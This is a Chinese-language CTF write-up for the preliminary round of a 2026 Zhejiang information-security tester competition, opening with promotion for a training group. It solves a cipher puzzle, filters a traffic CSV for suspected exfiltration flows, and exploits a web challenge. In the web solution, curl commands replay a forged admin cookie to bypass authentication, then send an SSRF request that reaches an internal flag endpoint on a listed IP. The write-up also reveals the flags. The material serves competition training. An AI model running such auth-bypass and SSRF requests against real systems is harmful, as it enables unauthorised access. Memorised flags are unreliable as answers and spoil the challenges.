@TOC(2026年浙江省信息通信业职业技能竞赛(信息安全测试员竞赛) 初赛Wireup)
前言:
关注鱼影安全
bash
clike
[X] 🛰:Yu1yuu1
[X] 🐧:3260344435
[X] BiliBili:鱼影信息
[X] 公众号:鱼影安全
[X] CSDN:落寞的魚丶
[X] 知识星球:中职-高职-CTF竞赛
[X] 信息安全评估(高职)、中职网络安全、金砖比赛、世界技能大赛省选拔选拔赛、电子取证比赛,CTF培训等
欢迎师傅们交流学习,加我可以拉粉丝群~
技能大赛指导成果:
2024金砖国家一带一路金砖国家省选拔 广东省 二等奖
2024金砖国家一带一路金砖国家国赛 全国 二等奖
2024金砖国家一带一路金砖国家国赛 全国 三等奖
2024信息安全评估赛项(高职组)江西省 一等奖
2024信息安全评估赛项(高职组)江西省 二等奖
2024信息安全评估赛项(高职组)山东省 二等奖
2024信息安全评估赛项(高职组)山东省 三等奖
2024信息安全评估赛项(高职组)河北省 三等奖
2024信息安全评估赛项(高职组)河北省 二等奖
2024中职组网络安全赛项 山东 三等奖
2025信息安全评估赛项(高职组)湖北省 一等奖 2个
2025信息安全评估赛项(高职组)湖北省 二等奖 2个
2025世选拔赛河北省技能大赛 第三名 铜牌🥉
2025第二届行业赛初赛 电子取证赛项10+全部晋级
2026信息安全评估赛项(高职组)河北省 二等奖
取证指导成果:
2026安徽职业技能大赛(中职组)电子取证 安徽省 三等奖
2026安徽职业技能大赛(高职组)电子取证与应用 安徽省 三等奖
鱼影成果:
2026 年第三届"聚合獬豸杯"-线上二等奖(职业组)
2026 年第四届"盘古石杯"国际电子取证大赛初赛-线上一等奖(职业组)
2026 年第四届"盘古石杯"国际电子取证大赛决赛-线下二等奖(职业组)
2026年第十届工业信息安全技能大赛工控安全锦标赛(线上)二等奖
2026年首届长三角攻防大赛 决赛第五名
MISC:
hello:
题目信息
附件:
● note.txt
● maze.png
● fragment.txt
题目说明木牍乱序,每条木牍保留了 seal | 宿名 | shard。shard 已经被"所在卦门的门数"推远,需要先按二十八宿顺序归位,再按每个星宿所在卦门的洛书门数退回。
解题思路
根据 note.txt:
- 二十八宿顺序从东方青龙的 角 开始。
- 外圈按逆时针入阵,每象七宿,走完一象再进入下一象。
- 使用后天八卦方位和洛书门数,中宫不入。
后天八卦洛书数:
php
坎北=1,坤西南=2,震东=3,巽东南=4,乾西北=6,兑西=7,艮东北=8,离南=9
二十八宿读取顺序:
php
角 亢 氐 房 心 尾 箕
斗 牛 女 虚 危 室 壁
奎 娄 胃 昴 毕 觜 参
井 鬼 柳 星 张 翼 轸
从 maze.png 读取每个星宿所在卦门,得到分组:
php
震东=3:角 亢 氐 房
艮东北=8:心 尾 箕
坎北=1:斗 牛 女 虚
乾西北=6:危 室 壁
兑西=7:奎 娄 胃 昴
坤西南=2:毕 觜 参
离南=9:井 鬼 柳 星
巽东南=4:张 翼 轸
最后使用字母表:
ABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789_
对每个 shard 按所在卦门门数反向位移。复现代码
python
alphabet = "ABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789_"
order = "角亢氐房心尾箕斗牛女虚危室壁奎娄胃昴毕觜参井鬼柳星张翼轸"
shards = {
"胃": "E", "角": "0", "柳": "3", "室": "G", "尾": "2", "觜": "W",
"亢": "X", "奎": "G", "牛": "P", "张": "Q", "房": "Q", "虚": "U",
"鬼": "Q", "昴": "G", "斗": "I", "壁": "T", "箕": "H", "井": "1",
"氐": "D", "女": "V", "星": "I", "毕": "N", "轸": "T", "心": "4",
"参": "Q", "翼": "E", "娄": "9", "危": "O",
}
door_num = {}
for x in "角亢氐房":
door_num[x] = 3
for x in "心尾箕":
door_num[x] = 8
for x in "斗牛女虚":
door_num[x] = 1
for x in "危室壁":
door_num[x] = 6
for x in "奎娄胃昴":
door_num[x] = 7
for x in "毕觜参":
door_num[x] = 2
for x in "井鬼柳星":
door_num[x] = 9
for x in "张翼轸":
door_num[x] = 4
ans = []
for mansion in order:
shard = shards[mansion]
shift = door_num[mansion]
idx = alphabet.index(shard)
ans.append(alphabet[(idx - shift) % len(alphabet)
> 这里是引用
])
plain = "".join(ans)
print(plain)
print(f"flag{{{plain}}}")

flag{XUANWU_HOUTIAN_28_LUOSHU_MAP}
Web:
easy_js:
某新闻门户网站刚刚上线,听说管理员在开发过程中留下了一些"方便调试"的后门,你能找到并获取Flag吗?

页面中存在反调试、禁用右键、禁用快捷键等前端保护,但这些都只是在浏览器端执行,不影响直接查看 HTTP 响应和下载 JS 文件

发现文件注释声称使用了 AES-256-CBC + Base64
分析后发现代码逻辑:
- Base64 解码
- 使用固定 key 做 XOR
eval执行解密后的代码
php
```js
const encrypted = atob(encryptedBase64);
const key = 'ctf_secret_key_32_chars_long_123456';
let decrypted = '';
for (let i = 0; i < encrypted.length; i++) {
const encryptedChar = encrypted.charCodeAt(i);
const keyChar = key.charCodeAt(i % key.length);
const decryptedChar = encryptedChar ^ keyChar;
decrypted += String.fromCharCode(decryptedChar);
}
``
因此可以离线解密 bundle。
php
```js
const fs = require('fs');
const text = fs.readFileSync('main.bundle.js', 'utf8');
const key = 'ctf_secret_key_32_chars_long_123456';
const match = text.match(/const\s+ENCRYPTED_CODE_[A-Z]+\s*=\s*'([^']+)'/);
const enc = Buffer.from(match[1], 'base64');
const out = Buffer.alloc(enc.length);
for (let i = 0; i < enc.length; i++) {
out[i] = enc[i] ^ key.charCodeAt(i % key.length);
}
console.log(out.toString('utf8'));
解密结果:
```js
{
BASE_URL: "http://localhost:3000",
ENDPOINTS: {
NEWS: "/api/news",
SEARCH: "/api/search",
ADMIN_LOGIN: "/api/admin/login",
INTERNAL_FLAG: "/internal/flag",
SSRF: "/secret_admin_panel_x9k2m8n7/api/fetch"
}
}
解密 /js/apiConfig.bundle.js 后,题目几乎直接给出了漏洞提示:
php
```js
CHALLENGE_NAME: "News Portal SSRF Challenge"
FLAG_LOCATION: "http://localhost:3000/internal/flag"
VULNERABILITIES: {
SSRF: {
target: "http://localhost:3000/internal/flag",
method: "POST"
},
WEAK_AUTH: {
bypass_method: "frontend_only_validation"
}
}
``
说明目标是通过后台 SSRF 接口访问内网 flag 地址:http://localhost:3000/internal/flag

接下来就是绕过:curl -i http://47.103.103.15:28955/secret_admin_panel_x9k2m8n7
该页面加载了:<script src="/js/hiddenLogin.bundle.js"></script>
解密 /js/hiddenLogin.bundle.js 后,发现登录成功逻辑完全依赖前端判断后端响应:
php
if (
c.success === true &&
c.message === "登录成功" &&
c.redirect === "/secret_admin_panel_x9k2m8n7"
) {
document.cookie = "admin_token=...; path=/";
window.location.href = c.redirect;
}
同时可以看到前端写入的管理员 cookie:
php
admin_token=eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJ1c2VyIjoiYWRtaW4iLCJyb2xlIjoiYWRtaW4iLCJ0aW1lIjoxNzA2MTIzNDU2fQ.fake_signature_admin_2025
带上该 cookie 访问后台即可绕过认证:
php
curl -i \
-H "Cookie: admin_token=eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJ1c2VyIjoiYWRtaW4iLCJyb2xlIjoiYWRtaW4iLCJ0aW1lIjoxNzA2MTIzNDU2fQ.fake_signature_admin_2025" \
http://47.103.103.15:28955/secret_admin_panel_x9k2m8n7
SSRF 获取 Flag 接口:/secret_admin_panel_x9k2m8n7/api/fetch
接口需要 POST JSON,参数为 url。目标内网地址为:
http://localhost:3000/internal/flag
php
curl -s -X POST \
-H "Content-Type: application/json" \
-H "Cookie: admin_token=eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJ1c2VyIjoiYWRtaW4iLCJyb2xlIjoiYWRtaW4iLCJ0aW1lIjoxNzA2MTIzNDU2fQ.fake_signature_admin_2025" \
-d '{"url":"http://localhost:3000/internal/flag"}' \
http://47.103.103.15:28955/secret_admin_panel_x9k2m8n7/api/fetch

数据安全:
流量分析:
给定一份网络流量摘要文件《traffic.csv》。安全设备标记了一类疑似数据外传流量,其特征如下:
- Protocol 为 HTTP;
- Method 为 POST;
- Host 为 update-sync.example;
- URI 为 /api/collect;
- DstPort 为 80;
- BytesOut 大于等于 800000;
- Status 为 200。 检测任务:筛选满足以上全部条件的流量记录,将命中的
FlowID按数字升序排列,并使用英文逗号,拼接为 FlowID 列表。先计算 FlowID 列表的 32 位小写 MD5,再构造答案明文: "命中流量条数|FlowID列表MD5"对答案明文进行 32 位小写 MD5 计算,并提交 flag{MD5值}。 将命中的 FlowID
按数字升序排列,用英文逗号拼接为列表。先计算该列表的 32 位小写 MD5,再构造答案明文: 命中流量条数|FlowID列表MD5
最后对答案明文再计算一次 32 位小写 MD5,提交 flag{MD5值}。
思路:直接读取 CSV,按题面给出的 7 个条件逐条过滤。注意 DstPort 虽然是端口,但从 CSV 读入后是字符串;BytesOut 和 FlowID 需要转为整数,分别用于大小比较和数字升序排序。
php
import csv
import hashlib
with open("traffic.csv", newline="", encoding="utf-8-sig") as f:
rows = list(csv.DictReader(f))
hits = []
for r in rows:
if (
r["Protocol"] == "HTTP"
and r["Method"] == "POST"
and r["Host"] == "update-sync.example"
and r["URI"] == "/api/collect"
and r["DstPort"] == "80"
and int(r["BytesOut"]) >= 800000
and r["Status"] == "200"
):
hits.append(int(r["FlowID"]))
hits.sort()
flowid_list = ",".join(map(str, hits))
flowid_md5 = hashlib.md5(flowid_list.encode()).hexdigest()
plain = f"{len(hits)}|{flowid_md5}"
answer_md5 = hashlib.md5(plain.encode()).hexdigest()
print(len(hits))
print(flowid_list)
print(flowid_md5)
print(plain)
print(f"flag{{{answer_md5}}}")
命中条数:88
FlowID 列表:4,8,21,29,44,75,78,84,86,88,92,111,114,115,116,117,122,123,125,136,143,160,163,178,181,190,194,206,208,216,222,229,232,238,241,256,264,266,270,275,288,291,305,308,327,336,338,341,344,353,355,357,374,376,381,386,393,397,405,409,411,412,428,436,448,449,452,461,469,473,477,481,487,495,503,511,532,537,550,551,562,563,618,620,621,630,638,652
FlowID 列表 MD5:768d0caf3887b0ad29368f2d6f11c00c
答案明文:88|768d0caf3887b0ad29368f2d6f11c00c
flag{6d705e4056d6611766c3929686f20d89}